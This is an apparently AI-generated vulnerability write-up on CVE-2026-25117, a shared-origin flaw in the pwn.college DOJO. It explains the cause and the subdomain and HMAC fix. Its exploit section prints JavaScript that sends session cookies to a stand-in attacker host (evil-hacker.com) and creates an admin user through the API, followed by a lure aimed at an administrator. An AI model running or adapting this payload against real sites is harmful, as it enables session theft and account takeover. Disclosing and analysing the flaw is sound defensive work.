CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25117

Class Is in Session: Escaping the pwn.college Sandbox via SOP Negligence

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 12, 2026·5 min read·22 visits

Executive Summary (TL;DR)

The pwn.college DOJO hosted user-controlled challenge workspaces on the same origin (`dojo.website`) as the main application. This allowed malicious challenge authors to serve JavaScript that the browser treated as trusted, enabling full account takeover via XSS. Fixed by moving workspaces to a separate subdomain and enforcing HMAC-signed routing.

A critical architectural flaw in the pwn.college DOJO platform allowed challenge authors to break out of their containerized environments and execute arbitrary JavaScript on the main application origin. By failing to enforce Origin isolation between the core platform and user-controlled workspaces, the application inadvertently granted 'root' access to the browser's trust model.

The Hook: When the Classroom Attacks

pwn.college is a fantastic platform for learning binary exploitation. It gives students and challenge authors 'workspaces'—effectively VS Code instances running inside Docker containers—to write exploits and solve challenges. It is the ultimate playground for hackers.

But here is the irony: in building a platform to teach people how to break software, the developers left a massive, gaping hole in their own architecture. The vulnerability, CVE-2026-25117, isn't a complex buffer overflow or a heap grooming wizardry. It is a fundamental misunderstanding of the web's most basic security boundary: The Same-Origin Policy (SOP).

The premise is simple. You, the user, get a workspace. You control the files in that workspace. You can host web servers in that workspace. The platform then kindly proxies that workspace to your browser so you can interact with it. The problem? They proxied it to http://dojo.website/workspace/....

Do you see the issue yet? If I control the content at /workspace/, and the admin panel is at /admin, and they share the same hostname... I don't need to break out of the Docker container. I just need to ask the browser nicely to hand over your cookies.

The Flaw: Trusting the Untrustworthy

The root cause here is a classic 'Shared Origin' vulnerability. Modern browsers rely heavily on the Same-Origin Policy to keep sites safe. If site A (attacker.com) tries to read the cookies of site B (bank.com), the browser shouts 'HALT!' and blocks the access.

However, in the pwn.college architecture, the 'main' application (where session tokens, admin panels, and grades live) and the 'untrusted' workspace (where users run arbitrary code) shared the exact same protocol, domain, and port.

To the browser, http://dojo.website/dashboard and http://dojo.website/workspace/user_123/exploit.html are siblings. They are the same person. They share the same localStorage, the same document.cookie, and the same execution context.

This meant that the 'sandboxing' provided by Docker was irrelevant for web-based attacks. The container stopped me from reading /etc/shadow on the host server, but the web architecture practically invited me to read the sessionid from the admin's browser.

The Code: Architecture of a Screw-Up

Let's look at the routing logic before the fix. The Nginx configuration essentially said, 'If the user asks for /workspace, just pass it through to the container.'

There was no domain separation. The fix, implemented in commit e33da14449a5abcff507e554f66e2141d6683b0a, completely overhauled this. The developers realized they couldn't just trust the path; they needed to change the host.

Here is the logic shift:

Before (Vulnerable): All content served via: http://dojo.website/workspace/{container_id}/

After (Fixed): The application now defines a WORKSPACE_HOST (e.g., workspace.dojo.website).

The routing logic was updated to require HMAC signatures to prevent forced browsing, but the critical security change was the domain split. By moving the dangerous, user-controlled content to a subdomain (or entirely different domain), the browser's SOP kicks in. workspace.dojo.website cannot read cookies from dojo.website.

The patch also introduced ngx_http_hmac_secure_link_module to verify signatures, ensuring that even on the isolated domain, you can't just stumble into someone else's active container.

The Exploit: Escalating from Student to Dean

Exploiting this was trivially easy for anyone with 'Challenge Author' privileges or the ability to spin up a custom workspace.

Step 1: The Setup I start a workspace. Inside my container, I create a file named index.html in the web root. I put the following malicious JavaScript inside:

<!-- The "I drink your milkshake" script -->
<script>
  // Since we are on the same origin, we can just... take it.
  const session = document.cookie;
  
  // Exfiltrate to my server
  fetch('https://evil-hacker.com/loot?cookie=' + btoa(session));
 
  // Or, just be noisy and create a new admin user via the API
  fetch('/api/v1/users', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({username: 'pwned', admin: true})
  });
</script>

Step 2: The Lure The URL for this file is http://dojo.website/workspace/my-container/index.html. I send this link to an administrator, perhaps claiming, 'Hey, my workspace is broken, can you take a look?'

Step 3: The Execution

The browser sees the request coming from dojo.website. It attaches the HttpOnly cookies (if not strictly set, but often XSS bypasses this via API calls anyway) or allows the JS to read non-HttpOnly tokens. The backend accepts the API call because it carries the admin's session.

The Mitigation: Divorce Your Origins

The fix required a messy divorce between the application and the workspaces. They can no longer live in the same house.

  1. Subdomain Isolation: The primary mitigation is ensuring DOJO_HOST and WORKSPACE_HOST are different. This forces the browser to treat them as mutually distrusting entities.

  2. HMAC URL Signing: To prevent users from guessing the new subdomain URLs (e.g., workspace.dojo.website/container-123), the developers implemented HMAC-SHA256 signing. The Nginx gateway now checks a signature in the URL path before proxying the request. If the signature doesn't match the WORKSPACE_SECRET, the request is dropped.

  3. Cookie Hygiene: While the domain split fixes the immediate XSS, it is also a good reminder to set SameSite=Lax or Strict on session cookies to prevent other classes of cross-site attacks.

For developers reading this: If you host user content, never put it on your main domain. Use usercontent.google.com, githubusercontent.com, or similar patterns. Learn from pwn.college's pwnage.

Official Patches

pwncollegeCommit e33da14 fixing the origin isolation

Fix Analysis (1)

Technical Appendix

CVSS Score
8.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
EPSS Probability
0.19%
Top 100% most exploited

Affected Systems

pwn.college DOJO platform (Self-hosted)pwn.college DOJO (Cloud instances)

Affected Versions Detail

Product
Affected Versions
Fixed Version
dojo
pwncollege
< e33da14e33da14449a5abcff507e554f66e2141d6683b0a
AttributeDetail
CWECWE-79 (XSS) / CWE-20 (Improper Input Validation)
Attack VectorNetwork (User-Assisted)
CVSS v4.08.3 (High)
ImpactSession Hijacking / Account Takeover
Exploit StatusFunctional PoC Available
PatchCommit e33da14

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1539Steal Web Session Cookie
Credential Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

GitHub Security AdvisoryDetailed advisory describing the origin confusion
NucleiDetection Template Available

Vulnerability Timeline

Vulnerability Disclosed & Patched
2026-01-29
Advisory Updated
2026-02-04

References & Sources

  • [1]GHSA-wvcf-9xm8-7mrg
  • [2]NVD CVE-2026-25117

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•10 minutes ago•CVE-2026-71307
7.7

CVE-2026-71307: Plaintext Credential Exposure in Netflix Lemur Destinations API

An authorization bypass and information disclosure vulnerability in Netflix Lemur before version 1.9.3 allows authenticated, low-privilege users to retrieve raw destination configurations, exposing plaintext credentials such as SFTP passwords and private key passphrases.

Amit Schendel
Amit Schendel
0 views•6 min read
•about 1 hour ago•CVE-2026-71308
8.1

CVE-2026-71308: Missing Authorization and Lifecycle Hijacking in Netflix Lemur

Netflix Lemur before 1.9.3 contains a missing authorization vulnerability (CWE-862, CWE-639) when handling certificate creation, upload, or modification. Authenticated non-read-only users can manipulate the replaces parameter to silence expiration notifications and hijack certificate rotation tasks for arbitrary targets, leading to unauthorized TLS certificate deployment and traffic interception.

Alon Barad
Alon Barad
2 views•7 min read
•about 2 hours ago•CVE-2026-71317
6.5

CVE-2026-71317: Missing Authorization in Netflix Lemur Allows Unauthorized Subordinate CA Creation

CVE-2026-71317 is a critical Broken Object-Level Authorization (BOLA) / Missing Authorization vulnerability in Netflix Lemur versions prior to 1.9.3. When the self-service authority creation option is enabled (ADMIN_ONLY_AUTHORITY_CREATION = False), Lemur allows authenticated non-read-only users to request the creation of a subordinate Certificate Authority (sub-CA) chained to any internal parent authority, even if the requesting user lacks administrative or usage permissions over that parent CA. This allows attackers to generate subordinate CAs signed by trusted root certificates, exposing private keys and compromising the organizational PKI trust chain.

Alon Barad
Alon Barad
4 views•7 min read
•about 3 hours ago•CVE-2026-71322
4.3

CVE-2026-71322: Missing Authorization Check in Netflix Lemur Certificate Export

Netflix Lemur, a TLS/SSL certificate management framework, contains a missing authorization check in its certificate export endpoint. Prior to version 1.9.3, the validation logic verifying whether a user had permission to export a certificate was incorrectly placed inside a block that executed only if the selected plugin required a private key. When an authenticated user attempted to export a certificate using a plugin that did not require the private key, the authorization check was bypassed, allowing unauthorized access to the public portions of the certificate and producing misleading audit logs.

Alon Barad
Alon Barad
3 views•6 min read
•about 4 hours ago•GHSA-JF24-8G2H-2WG7
7.2

GHSA-JF24-8G2H-2WG7: Remote Code Execution in LibreNMS AboutController via Binary Path Substitution

A critical security flaw in LibreNMS allows authenticated administrators to execute arbitrary commands by modifying the configured binary path for snmpget and accessing the About page. This occurs due to insufficient verification of the executable file's identity and integrity prior to executing it with shell_exec.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 5 hours ago•GHSA-7CJ5-V4PP-V632
4.8

GHSA-7cj5-v4pp-v632: Stored Cross-Site Scripting in LibreNMS Graph Descriptions

LibreNMS versions prior to 26.7.0 are vulnerable to a stored Cross-Site Scripting (XSS) vulnerability. An authenticated administrator can inject arbitrary HTML or JavaScript into graph descriptions via specific administrative configuration endpoints. When another authenticated user views the affected graph, the unescaped payload executes within their browser context.

Alon Barad
Alon Barad
3 views•5 min read